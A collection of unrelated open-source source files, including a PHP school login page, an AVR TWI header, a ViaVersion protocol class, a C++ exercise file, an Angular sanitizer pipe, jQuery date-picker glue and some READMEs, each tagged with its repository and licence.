<!-- iCheck -->
<link rel="stylesheet" href="../plugins/iCheck/square/blue.css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="../plugins/select2/select2.full.min.js"></script>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body class="hold-transition login-page">
<div class="login-box">
<div class="login-logo">
<a href="../index2.html"><b>SCHOOL</b> LOGIN</a>
</div>
<!-- /.login-logo -->
<div class="login-box-body">
<p class="login-box-msg">Choose your school and enter password</p>
<form action="./index.php" method="post">
<div class="row">
<div class="form-group has-feedback">
<label for="name" class="col-sm-2 control-label">District</label>
<div class="col-sm-12">
<select class="form-control select2" style="width: 100%;"
onchange="load_district_schools(this.value)" name="district" id="district">
<option></option>
<?php
foreach ($districts as $district) {
?>
<option><?php echo $district; ?></option>
<?php
}
?>
</select>
</div>
<br><br><br><br>
<div class="form-group">
<label for="name" class="col-sm-2 control-label">School</label>
<div class="col-sm-12">
<select class="form-control select2" style="width: 100%;" name="schoolsfordistrict" id="schoolsfordistrict" >
</select>
</div>
</div>
</div>
</div>
<br>
<label for="name" class=" control-label">Password</label>
<div class="form-group has-feedback">
<input type="password" class="form-control" placeholder="Password" name="password">
<span class="glyphicon glyphicon-lock form-control-feedback"></span>
</div>
<div class="row">
<div class="col-xs-8">
<div class="checkbox icheck">
</div>
</div>
<!-- /.col -->
<div class="col-xs-4">
<button type="submit" class="btn btn-primary btn-block btn-flat">Sign In</button>
</div>
<!-- /.col -->
</div>
<input type="hidden" id="login" name="login">
</form>
</div>
<!-- /.login-box-body -->
</div>
<!-- /.login-box -->
<!-- jQuery 2.1.4 -->
<script src="../plugins/jQuery/jQuery-2.1.4.min.js"></script>
<script src="../plugins/select2/select2.full.min.js"></script>
<!-- Bootstrap 3.3.5 -->
<script src="../bootstrap/js/bootstrap.min.js"></script>
<!-- iCheck -->
<script src="../plugins/iCheck/icheck.min.js"></script>
<script>
$(function () {
$('input').iCheck({
checkboxClass: 'icheckbox_square-blue',
radioClass: 'iradio_square-blue',
increaseArea: '20%' // optional
});
});
</script>
<script type="text/javascript">
$('#Date').datepicker({
autoclose: true,
todayHighlight: true,
format: 'yyyy-mm-dd'
});
function load_district_schools(district) {
if (district != "") {
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
document.getElementById('schoolsfordistrict').innerHTML = xmlhttp.responseText;
}
};
xmlhttp.open("GET", "get_schools_from_district.php?district=" + district, true);
xmlhttp.send();
}
}
function load_school_students(school_id) {
if (school_id != "") {
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
string = xmlhttp.responseText;
alert(string);
document.getElementById('studentsforschool').innerHTML = string;
}
};
xmlhttp.open("GET", "get_students_from_school.php?school_id=" + school_id, true);
xmlhttp.send();
}
}
</script>
<script>
$(function () {
//Initialize Select2 Elements
$(".select2").select2();
//Datemask dd/mm/yyyy
$("#datemask").inputmask("dd/mm/yyyy", {"placeholder": "dd/mm/yyyy"});
//Datemask2 mm/dd/yyyy
$("#datemask2").inputmask("mm/dd/yyyy", {"placeholder": "mm/dd/yyyy"});
//Money Euro
$("[data-mask]").inputmask();
//Date range picker
$('#reservation').daterangepicker();
//Date range picker with time picker
$('#reservationtime').daterangepicker({timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A'});
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges: {
'Today': [moment(), moment()],
'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days': [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month': [moment().startOf('month'), moment().endOf('month')],
'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate: moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
}
);
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass: 'iradio_minimal-blue'
});
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass: 'iradio_minimal-red'
});
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass: 'iradio_flat-green'
});
//Colorpicker
$(".my-colorpicker1").colorpicker();
//color picker with addon
$(".my-colorpicker2").colorpicker();
//Timepicker
$(".timepicker").timepicker({
showInputs: false
});
});
</script>
</body>
</html>
| buddhiv/DatabaseProject | school_views/login.php | PHP | mit | 9,115 |
/*
* file: twi.h
* created: 20160807
* author(s): mr-augustine
*
* These are the Two-Wire Interface (TWI) bit mask definitions
* They were copied from the following site:
* http://www.nongnu.org/avr-libc/user-manual/group__util__twi.html
*
* The mnemonics are defined as follows:
* TW_MT_xxx: Master Transmitter
* TW_MR_xxx: Master Receiver
* TW_ST_xxx: Slave Transmitter
* TW_SR_xxx: Slave Receiver
*
* SLA: Slave Address
* Comments are appended to the mask definitions we use
*/
#ifndef _TWI_H_
#define _TWI_H_
#define TW_START 0x08 // Start condition transmitted
#define TW_REP_START 0x10 // Repeated Start condition transmitted
#define TW_MT_SLA_ACK 0x18 // SLA+W transmitted, ACK received
#define TW_MT_SLA_NACK 0x20
#define TW_MT_DATA_ACK 0x28 // Data transmitted, ACK received
#define TW_MT_DATA_NACK 0x30
#define TW_MT_ARB_LOST 0x38
#define TW_MR_ARB_LOST 0x38
#define TW_MR_SLA_ACK 0x40 // SLA+R transmitted, ACK received
#define TW_MR_SLA_NACK 0x48
#define TW_MR_DATA_ACK 0x50 // Data received, ACK returned
#define TW_MR_DATA_NACK 0x58 // Data received, NACK returned
#define TW_ST_SLA_ACK 0xA8
#define TW_ST_ARB_LOST_SLA_ACK 0xB0
#define TW_ST_DATA_ACK 0xB8
#define TW_ST_DATA_NACK 0xC0
#define TW_ST_LAST_DATA 0xC8
#define TW_SR_SLA_ACK 0x60
#define TW_SR_ARB_LOST_SLA_ACK 0x68
#define TW_SR_GCALL_ACK 0x70
#define TW_SR_ARB_LOST_GCALL_ACK 0x78
#define TW_SR_DATA_ACK 0x80
#define TW_SR_DATA_NACK 0x88
#define TW_SR_GCALL_DATA_ACK 0x90
#define TW_SR_GCALL_DATA_NACK 0x98
#define TW_SR_STOP 0xA0
#define TW_NO_INFO 0xF8
#define TW_BUS_ERROR 0x00
#define TW_STATUS (TWSR & TW_NO_INFO) // Grab the status bits
#define TW_READ 1 // Read-mode flag
#define TW_WRITE 0 // Write-mode flag
#endif // #ifndef _TWI_H_
| mr-augustine/kintobor | demo_sgcom/twi.h | C | mit | 2,112 |
/*
* This file is part of ViaVersion - https://github.com/ViaVersion/ViaVersion
* Copyright (C) 2016-2021 ViaVersion and contributors
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.viaversion.viaversion.protocols.protocol1_12_2to1_12_1;
import com.viaversion.viaversion.api.protocol.AbstractProtocol;
import com.viaversion.viaversion.api.protocol.remapper.PacketRemapper;
import com.viaversion.viaversion.api.type.Type;
import com.viaversion.viaversion.protocols.protocol1_12_1to1_12.ClientboundPackets1_12_1;
import com.viaversion.viaversion.protocols.protocol1_12_1to1_12.ServerboundPackets1_12_1;
public class Protocol1_12_2To1_12_1 extends AbstractProtocol<ClientboundPackets1_12_1, ClientboundPackets1_12_1, ServerboundPackets1_12_1, ServerboundPackets1_12_1> {
public Protocol1_12_2To1_12_1() {
super(ClientboundPackets1_12_1.class, ClientboundPackets1_12_1.class, ServerboundPackets1_12_1.class, ServerboundPackets1_12_1.class);
}
@Override
protected void registerPackets() {
registerClientbound(ClientboundPackets1_12_1.KEEP_ALIVE, new PacketRemapper() {
@Override
public void registerMap() {
map(Type.VAR_INT, Type.LONG);
}
});
registerServerbound(ServerboundPackets1_12_1.KEEP_ALIVE, new PacketRemapper() {
@Override
public void registerMap() {
map(Type.LONG, Type.VAR_INT);
}
});
}
}
| MylesIsCool/ViaVersion | common/src/main/java/com/viaversion/viaversion/protocols/protocol1_12_2to1_12_1/Protocol1_12_2To1_12_1.java | Java | mit | 2,084 |
//config file for bae
if(sumeru.BAE_VERSION){
sumeru.config.database({
dbname : '',
user: '',//bae 3.0 required
password: ''//bae 3.0 required
});
sumeru.config({
site_url : '' //with tailing slash
});
} | Clouda-team/Cloudajs-examples | ExternalData/clouda_request_data/app/server_config/bae.js | JavaScript | mit | 251 |
.preloader-background {
display: flex;
align-items: center;
justify-content: center;
background-color: #eee;
position: fixed;
z-index: 100;
top: 0;
left: 0;
right: 0;
bottom: 0;
}
.collapsible header {
background-color: #546e7a !important;
}
| gmcfiesta/gmcfiesta.github.io | index.css | CSS | mit | 267 |
#include <cassert>
#include <cmath>
#include "gtest/gtest.h"
#include "interlude.hpp"
// defined in the header
// #define MAT_SIZE 5
using std::cout;
using std::endl;
// void matDiagSum(int a[][MAT_SIZE], int rows, int cols){
// }
// 1 2 3 4 5 1 2 3 4 5
// 6 7 8 9 10 6 8 10 12 14
// 11 12 13 14 15 11 18 21 24 27
// 16 17 18 19 20 16 28 36 40 44
// 21 22 23 24 25 21 38 51 60 65
// 0,0 0,1 0,2 0,3 0,4
// 1,0 1,1 1,2 1,3 1,4
// 2,0 2,1 2,2 2,3 2,4
// 3,0 3,1 3,2 3,3 3,4
// 4,0 4,1 4,2 4,3 4,4
void printArr(int arr[][MAT_SIZE], int rows, int cols) {
cout << "The two dimensional array:" << endl;
for (int i = 0; i < rows; ++i) {
for (int j = 0; j < cols; ++j) {
cout << arr[i][j] << "\t";
}
cout << endl;
}
}
// int digitMultiSeq(int n){
// }
// int multiplyDigits(int a){
// }
// bool isPermutation(unsigned int n, unsigned int m){
// }
// From http://www.doc.ic.ac.uk/~wjk/C++Intro/RobMillerE3.html#Q3
// double standardDeviation(double values[], int length, int size){
// The formula for standard deviation
// a is the avarage of of the values r1 ... rN
// sqrt( ( ((r1 - a) x (r1 - a)) + ((r2-a) x (r2-a)) + ... + ((rN - a) x (rN - a)) ) / N )
// assert(length <= size);
// }
// From http://www.doc.ic.ac.uk/~wjk/C++Intro/RobMillerL6.html#S6-2
double average(double list[], int length, int size){
double total = 0;
int count;
for (count = 0 ; count < length ; count++)
total += list[count];
return (total / length);
}
/*===================================================
Tests
===================================================*/
// TEST(Functions, digit_multi_seq){
// EXPECT_EQ(38, digitMultiSeq(8));
// EXPECT_EQ(62, digitMultiSeq(9));
// EXPECT_EQ(74, digitMultiSeq(10));
// }
// TEST(Functions, multiply_digits){
// int a = 1234;
// EXPECT_EQ(24, multiplyDigits(a));
// }
// TEST(Matrix, mat_diag_sum){
// int mat[MAT_SIZE][MAT_SIZE] = { { 1, 2, 3, 4, 5},
// { 6, 7, 8, 9, 10},
// { 11, 12, 13, 14, 15},
// { 16, 17, 18, 19, 20},
// { 21, 22, 23, 24, 25}};
// int ans[MAT_SIZE][MAT_SIZE] = { {1, 2, 3, 4, 5},
// {6, 8, 10, 12, 14},
// {11, 18,21, 24, 27},
// {16, 28, 36, 40, 44},
// {21, 38, 51, 60, 65}};
// matDiagSum(mat,MAT_SIZE,MAT_SIZE);
// printArr(mat,MAT_SIZE,MAT_SIZE);
// printArr(ans,MAT_SIZE,MAT_SIZE);
// for(int i = 0; i < MAT_SIZE; i++){
// for(int j = 0; j < MAT_SIZE; j++){
// EXPECT_EQ(ans[i][j], mat[i][j]);
// }
// }
// }
// TEST(Arrays, is_permutation){
// int n = 1234;
// int m = 4231;
// int n2 = 456723;
// int m2 = 456724;
// int n3 = 45647235;
// int m3 = 45657234;
// EXPECT_TRUE(isPermutation(n,m));
// EXPECT_FALSE(isPermutation(n2,m2));
// EXPECT_TRUE(isPermutation(n3,m3));
// }
TEST(Functions, average){
int length = 5;
int size = 5;
double list[] = {2.51, 5.468, 89.12, 546.49, 65489.877};
EXPECT_DOUBLE_EQ(13226.693, average(list,length,size));
}
// TEST(Arrays, standard_deviation){
// int length = 5;
// int size = 5;
// double list[] = {2.51, 5.468, 89.12, 546.49, 65489.877};
// double epsilon = 0.001;
// EXPECT_TRUE( abs(26132.36913 - standardDeviation(list,length,size)) <= epsilon);
// } | JonMuehlst/WORKSPACE_A | 8_interlude/interlude.cpp | C++ | mit | 3,372 |
<?php
/**
* @author "Michael Collette" <[email protected]>
* @package Metrol_Libs
* @version 2.0
* @copyright (c) 2014, Michael Collette
*/
namespace Metrol\HTML\Table;
/**
* Defines an HTML Table Foot Area
*/
class Foot extends Section
{
/**
*/
public function __construct()
{
parent::__construct('tfoot');
$this->rows = array();
}
}
| Metrol/Metrol | HTML/Table/Foot.php | PHP | mit | 364 |
clean_zsh_history
=================
Erase tautological history in `.zsh_history`.
# Usage
python ./clean_zsh_history.py [path/to/.zsh_history]
default arguments is `$HOME/.zsh_history`
| xeno1991/clean_zsh_history | README.md | Markdown | mit | 192 |
import sys
sys.path.insert(0,'../')
from fast_guided_filter import blur
print("hello")
| justayak/fast_guided_filters | test/sample.py | Python | mit | 88 |
#include "core/bomberman.hpp"
#include "core/menu.hpp"
#include "core/screens.hpp"
#include "core/view.hpp"
#include "core/views/menu.hpp"
MenuView::MenuView(Screen *screen, Menu *menu)
: View(screen)
, menu(menu)
, clock(Timer::get(2))
{
}
MenuView::~MenuView()
{
delete this->menu;
}
void MenuView::update(const Events &events)
{
Vec2u pos(events.touch.x, events.touch.y);
if (events.touch.isTouch && this->clock.current() > 10000)
{
this->clock.reset();
this->menu->onClick(pos);
}
}
void MenuView::render()
{
swiWaitForVBlank();
dmaCopy(this->menu->bgSrc, bgGetGfxPtr(this->getScreen().bg), this->menu->bgSize);
}
void MenuView::setMenu(Menu *menu)
{
if (menu != nullptr)
{
menu->setView(this);
}
Menu *old = this->menu;
Bomberman::getInstance().nextTick([old]() {
delete old;
});
this->menu = menu;
}
Menu &MenuView::getMenu()
{
return *this->menu;
}
const Menu &MenuView::getMenu() const
{
return *this->menu;
}
| kassisdion/Epitech_year_2 | bomberman/src/core/views/menu.cpp | C++ | mit | 1,035 |
///<reference src="js/tempus-dominus"/>
/*global $ */
tempusDominus.jQueryInterface = function (option, argument) {
if (this.length === 1) {
return tempusDominus.jQueryHandleThis(this, option, argument);
}
// "this" is jquery here
return this.each(function () {
tempusDominus.jQueryHandleThis(this, option, argument);
});
};
tempusDominus.jQueryHandleThis = function (me, option, argument) {
let data = $(me).data(tempusDominus.Namespace.dataKey);
if (typeof option === 'object') {
$.extend({}, tempusDominus.DefaultOptions, option);
}
if (!data) {
data = new tempusDominus.TempusDominus($(me)[0], option);
$(me).data(tempusDominus.Namespace.dataKey, data);
}
if (typeof option === 'string') {
if (data[option] === undefined) {
throw new Error(`No method named "${option}"`);
}
if (argument === undefined) {
return data[option]();
} else {
if (option === 'date') {
data.isDateUpdateThroughDateOptionFromClientCode = true;
}
const ret = data[option](argument);
data.isDateUpdateThroughDateOptionFromClientCode = false;
return ret;
}
}
};
tempusDominus.getSelectorFromElement = function ($element) {
let selector = $element.data('target'),
$selector;
if (!selector) {
selector = $element.attr('href') || '';
selector = /^#[a-z]/i.test(selector) ? selector : null;
}
$selector = $(selector);
if ($selector.length === 0) {
return $element;
}
if (!$selector.data(tempusDominus.Namespace.dataKey)) {
$.extend({}, $selector.data(), $(this).data());
}
return $selector;
};
/**
* ------------------------------------------------------------------------
* jQuery
* ------------------------------------------------------------------------
*/
$(document)
.on(
`click${tempusDominus.Namespace.events.key}.data-api`,
`[data-toggle="${tempusDominus.Namespace.dataKey}"]`,
function () {
const $originalTarget = $(this),
$target = tempusDominus.getSelectorFromElement($originalTarget),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (
config._options.allowInputToggle &&
$originalTarget.is('input[data-toggle="datetimepicker"]')
) {
return;
}
tempusDominus.jQueryInterface.call($target, 'toggle');
}
)
.on(
tempusDominus.Namespace.events.change,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0 || event.isInit) {
return;
}
tempusDominus.jQueryInterface.call($target, '_change', event);
}
)
.on(
tempusDominus.Namespace.events.blur,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this)),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (config._options.debug || window.debug) {
return;
}
tempusDominus.jQueryInterface.call($target, 'hide', event);
}
)
/*.on(tempusDominus.Namespace.Events.keydown, `.${tempusDominus.Namespace.NAME}-input`, function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0) {
return;
}
tempusDominus.jQueryInterface.call($target, '_keydown', event);
})
.on(tempusDominus.Namespace.Events.keyup, `.${tempusDominus.Namespace.NAME}-input`, function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0) {
return;
}
tempusDominus.jQueryInterface.call($target, '_keyup', event);
})*/
.on(
tempusDominus.Namespace.events.focus,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this)),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (!config._options.allowInputToggle) {
return;
}
tempusDominus.jQueryInterface.call($target, 'show', event);
}
);
const name = 'tempusDominus';
$.fn[name] = tempusDominus.jQueryInterface;
$.fn[name].Constructor = tempusDominus.TempusDominus;
$.fn[name].noConflict = function () {
$.fn[name] = $.fn[name];
return tempusDominus.jQueryInterface;
};
| cdnjs/cdnjs | ajax/libs/tempus-dominus/6-alpha1/js/jQuery-provider.js | JavaScript | mit | 4,501 |
web-practice
============
| gyuwon/web-practice | README.md | Markdown | mit | 26 |
import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Pipe({
name: 'sanitizeHtml',
pure: false
})
export class SanitizerPipe implements PipeTransform {
constructor(private _sanitizer: DomSanitizer) {
}
transform(v: string): SafeHtml {
const html = this._sanitizer.bypassSecurityTrustHtml(v);
if (html.hasOwnProperty('changingThisBreaksApplicationSecurity') &&
/^<p>\d+\./.test(html['changingThisBreaksApplicationSecurity'])) {
html['changingThisBreaksApplicationSecurity'] =
'<p>' + html['changingThisBreaksApplicationSecurity']
.substr(html['changingThisBreaksApplicationSecurity'].indexOf('.') + 1);
}
return html;
}
}
| ultimate-comparisons/ultimate-comparison-BASE | src/app/components/pipes/sanitizer-pipe/sanitizer.pipe.ts | TypeScript | mit | 809 |
<?php
/*
* This file is part of the Nexylan packages.
*
* (c) Nexylan SAS <[email protected]>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Nexy\PayboxDirect\Tests\Symfony\Bridge\DependencyInjection;
use Matthias\SymfonyDependencyInjectionTest\PhpUnit\AbstractExtensionConfigurationTestCase;
use Nexy\PayboxDirect\Bridge\Symfony\DependencyInjection\Configuration;
use Nexy\PayboxDirect\Bridge\Symfony\DependencyInjection\NexyPayboxDirectExtension;
use SebastianBergmann\Diff\ConfigurationException;
use Symfony\Component\DependencyInjection\Extension\ExtensionInterface;
/**
* @author Sullivan Senechal <[email protected]>
*/
class ConfigurationTest extends AbstractExtensionConfigurationTestCase
{
public function testMinimalConfigurationProcess()
{
$expectedConfiguration = [
'client' => null,
'options' => [],
'paybox' => [
'version' => 'direct_plus',
'site' => '1999888',
'rank' => '32',
'identifier' => '107904482',
'key' => '1999888I',
],
];
$sources = [
__DIR__.'/../../../fixtures/config/config_minimal.yml',
];
$this->assertProcessedConfigurationEquals($expectedConfiguration, $sources);
}
public function testFullConfigurationProcess()
{
$expectedConfiguration = [
'client' => 'fake',
'options' => [
'timeout' => 20,
'production' => true,
],
'paybox' => [
'version' => 'direct_plus',
'site' => '1999888',
'rank' => '32',
'identifier' => '107904482',
'key' => '1999888I',
'default_currency' => 'us_dollar',
'default_activity' => 'recurring_payment',
],
];
$sources = [
__DIR__.'/../../../fixtures/config/config_full.yml',
];
$this->assertProcessedConfigurationEquals($expectedConfiguration, $sources);
}
public function testNoneConfigurationProcess()
{
$this->expectExceptionMessageMatches('/"paybox".*"nexy_paybox_direct" must be configured.$/');
$sources = [
__DIR__.'/../../../fixtures/config/config_none.yml',
];
$this->assertProcessedConfigurationEquals([], $sources);
}
protected function getContainerExtension(): ExtensionInterface
{
return new NexyPayboxDirectExtension();
}
protected function getConfiguration(): Configuration
{
return new Configuration();
}
}
| nexylan/paybox-direct | tests/Bridge/Symfony/DependencyInjection/ConfigurationTest.php | PHP | mit | 2,758 |
.jqCron-selector {
position: relative;
}
.jqCron-cross,
.jqCron-selector-title {
cursor: pointer;
border-radius: 3px;
border: 1px solid #ddd;
margin: 0 0.2em;
padding: 0 0.5em;
}
.jqCron-container.disable .jqCron-cross:hover,
.jqCron-container.disable .jqCron-selector-title:hover,
.jqCron-cross,
.jqCron-selector-title {
background: #eee;
border-color: #ddd;
}
.jqCron-cross:hover,
.jqCron-selector-title:hover {
background-color: #ddd;
border-color: #aaa;
}
.jqCron-cross {
border-radius: 1em;
font-size: 80%;
padding: 0 0.3em;
}
.jqCron-selector-list {
background: #eee;
border: 1px solid #aaa;
-webkit-box-shadow: 2px 2px 3px #ccc;
box-shadow: 2px 2px 3px #ccc;
left: 0.2em;
list-style: none;
margin: 0;
padding: 0;
position: absolute;
top: 1.5em;
z-index: 1;
}
.jqCron-selector-list li {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
-ms-box-sizing: border-box;
box-sizing: border-box;
cursor: default;
display: inline-block;
margin: 0;
padding: 0.1em 0.4em;
width: 100%;
}
.jqCron-selector-list li.selected {
background: #0088cc;
color: white;
}
.jqCron-selector-list li:hover {
background: #5fb9e7;
color: white;
}
.jqCron-selector-list.cols2 {
width: 4em;
}
.jqCron-selector-list.cols2 li {
width: 50%;
}
.jqCron-selector-list.cols3 {
width: 6em;
}
.jqCron-selector-list.cols3 li {
width: 33%;
}
.jqCron-selector-list.cols4 {
width: 8em;
}
.jqCron-selector-list.cols4 li {
width: 25%;
}
.jqCron-selector-list.cols5 {
width: 10em;
}
.jqCron-selector-list.cols5 li {
width: 20%;
}
.jqCron-error .jqCron-selector-title {
background: #fee;
border: 1px solid #fdd;
color: red;
}
.jqCron-container.disable * {
color: #888;
}
.jqCron-container.disable .jqCron-selector-title {
background: #eee !important;
} | ligoj/ligoj | app-ui/src/main/webapp/lib/jqcron/jqcron.css | CSS | mit | 1,773 |
# from test_plus.test import TestCase
#
#
# class TestUser(TestCase):
#
# def setUp(self):
# self.user = self.make_user()
#
# def test__str__(self):
# self.assertEqual(
# self.user.__str__(),
# 'testuser' # This is the default username for self.make_user()
# )
#
# def test_get_absolute_url(self):
# self.assertEqual(
# self.user.get_absolute_url(),
# '/users/testuser/'
# )
| Alex-Just/gymlog | gymlog/main/tests/test_models.py | Python | mit | 476 |
<?php
class WPML_ST_Track_Strings_Notice {
const NOTICE_ID = 'wpml-st-tracking-all-strings-as-english-notice';
const NOTICE_GROUP = 'wpml-st-strings-tracking';
/**
* @var WPML_Notices
*/
private $admin_notices;
public function __construct( WPML_Notices $admin_notices ) {
$this->admin_notices = $admin_notices;
}
/**
* @param int $track_strings
*/
public function add( $track_strings ) {
if ( ! $track_strings ) {
return;
}
$options_nonce = 'wpml-localization-options-nonce';
$message = __( 'For String Tracking to work, the option', 'wpml-string-translation' );
$message .= '<strong> ' . __( 'Assume that all texts in PHP strings are in English', 'wpml-string-translation' ) . ' </strong>';
$message .= __( 'was automatically disabled. To enable it back, go to WPML->Theme and Plugins localization.', 'wpml-string-translation' );
$message .= '<input type="hidden" id="' . $options_nonce . '" name="' . $options_nonce . '" value="' . wp_create_nonce( $options_nonce ) . '">';
$notice = $this->admin_notices->get_new_notice( self::NOTICE_ID, $message, self::NOTICE_GROUP );
$notice->set_css_class_types( 'info' );
$notice->add_action( $this->admin_notices->get_new_notice_action( __( 'Cancel and undo changes', 'wpml-string-translation' ), '#', false, false, 'button-primary' ) );
$notice->add_action( $this->admin_notices->get_new_notice_action( __( 'Skip', 'wpml-string-translation' ), '#', false, true ) );
$this->admin_notices->add_notice( $notice );
}
public function remove() {
$this->admin_notices->remove_notice(
self::NOTICE_GROUP,
self::NOTICE_ID
);
}
} | mandino/hotelmilosantabarbara.com | wp-content/plugins/wpml-string-translation/classes/notices/track-strings/wpml-st-track-strings-notice.php | PHP | mit | 1,629 |
using System;
using System.Xml.Serialization;
namespace EZOper.NetSiteUtilities.AopApi
{
/// <summary>
/// AlipayEbppPdeductSignValidateResponse.
/// </summary>
public class AlipayEbppPdeductSignValidateResponse : AopResponse
{
}
}
| erikzhouxin/CSharpSolution | NetSiteUtilities/AopApi/Response/AlipayEbppPdeductSignValidateResponse.cs | C# | mit | 257 |
#ifndef ACCOUNTDIALOG_H
#define ACCOUNTDIALOG_H
#include <QDialog>
namespace Ui {
class AccountDialog;
}
class AccountDialog : public QDialog
{
Q_OBJECT
public:
explicit AccountDialog(QWidget *parent = 0);
~AccountDialog();
private slots:
// TODO: 三个槽变成一个
void on_azureDefaultRadioButton_clicked();
void on_azureChinaRadioButton_clicked();
void on_azureOtherRadioButton_clicked();
void on_testAccessPushButton_clicked();
void on_savePushButton_clicked();
private:
Ui::AccountDialog *ui;
};
#endif // ACCOUNTDIALOG_H
| myd7349/AzureStorageExplorerClone | UI/Qt/AccountDialog.h | C | mit | 577 |
import Telescope from 'meteor/nova:lib';
import Posts from "meteor/nova:posts";
import Comments from "meteor/nova:comments";
import Users from 'meteor/nova:users';
serveAPI = function(terms){
var posts = [];
var parameters = Posts.parameters.get(terms);
const postsCursor = Posts.find(parameters.selector, parameters.options);
postsCursor.forEach(function(post) {
var url = Posts.getLink(post);
var postOutput = {
title: post.title,
headline: post.title, // for backwards compatibility
author: post.author,
date: post.postedAt,
url: url,
pageUrl: Posts.getPageUrl(post, true),
guid: post._id
};
if(post.body)
postOutput.body = post.body;
if(post.url)
postOutput.domain = Telescope.utils.getDomain(url);
if (post.thumbnailUrl) {
postOutput.thumbnailUrl = Telescope.utils.addHttp(post.thumbnailUrl);
}
var twitterName = Users.getTwitterNameById(post.userId);
if(twitterName)
postOutput.twitterName = twitterName;
var comments = [];
Comments.find({postId: post._id}, {sort: {postedAt: -1}, limit: 50}).forEach(function(comment) {
var commentProperties = {
body: comment.body,
author: comment.author,
date: comment.postedAt,
guid: comment._id,
parentCommentId: comment.parentCommentId
};
comments.push(commentProperties);
});
var commentsToDelete = [];
comments.forEach(function(comment, index) {
if (comment.parentCommentId) {
var parent = comments.filter(function(obj) {
return obj.guid === comment.parentCommentId;
})[0];
if (parent) {
parent.replies = parent.replies || [];
parent.replies.push(JSON.parse(JSON.stringify(comment)));
commentsToDelete.push(index);
}
}
});
commentsToDelete.reverse().forEach(function(index) {
comments.splice(index,1);
});
postOutput.comments = comments;
posts.push(postOutput);
});
return JSON.stringify(posts);
};
| trujunzhang/newspoliticl | packages/nova-api/lib/server/api.js | JavaScript | mit | 2,059 |
class ImportResult < ActiveRecord::Base
belongs_to :import
enum status: [ :starting, :running, :finishing, :finished, :stalled, :aborted ]
serialize :found_listing_keys
serialize :removed_listing_keys
serialize :snapshots
def found_count_difference
previous_run = self.import.import_results.where(['start_time < ?', self.start_time]).order("start_time DESC").limit(1).first
previous_run.present? ? self.found_listing_keys.count - previous_run.found_listing_keys.count : nil
end
end
| arcticleo/reso_data_dictionary | app/models/import_result.rb | Ruby | mit | 507 |
package fr.pizzeria.exception;
public class StockageException extends Exception {
public StockageException() {
super();
}
public StockageException(String message, Throwable cause) {
super(message, cause);
}
public StockageException(String message) {
super(message);
}
public StockageException(Throwable cause) {
super(cause);
}
}
| lionelcollidor/dta-formation | apps/pizzeria-console-objet/pizzeria-dao/src/main/java/fr/pizzeria/exception/StockageException.java | Java | mit | 353 |
# swio
--
import "github.com/shipwire/swutil/swio"
Package swio provides additional utilities on top of the standard io package.
## Usage
```go
var DummyReader = newDummy(time.Now().Unix())
```
DummyReader is a reader of pseudo-random data. It is meant to be more efficient
than cryptographically random data, but is useful only in limited cases such as
testing other readers.
#### func ForkReader
```go
func ForkReader(r io.Reader, n int) (head, tail io.Reader)
```
ForkReader accepts a reader and forks it at a given point. It returns two
readers, one that continues from the beginning of the original reader, and
another that reads from the nth byte. Readers are a FIFO stream, so reads from
the second reader can't actually jump ahead. To solve this problem, reads from
the tail cause the entire remaining contents of the head to be transparently
read into memory.
#### func NewReadCloser
```go
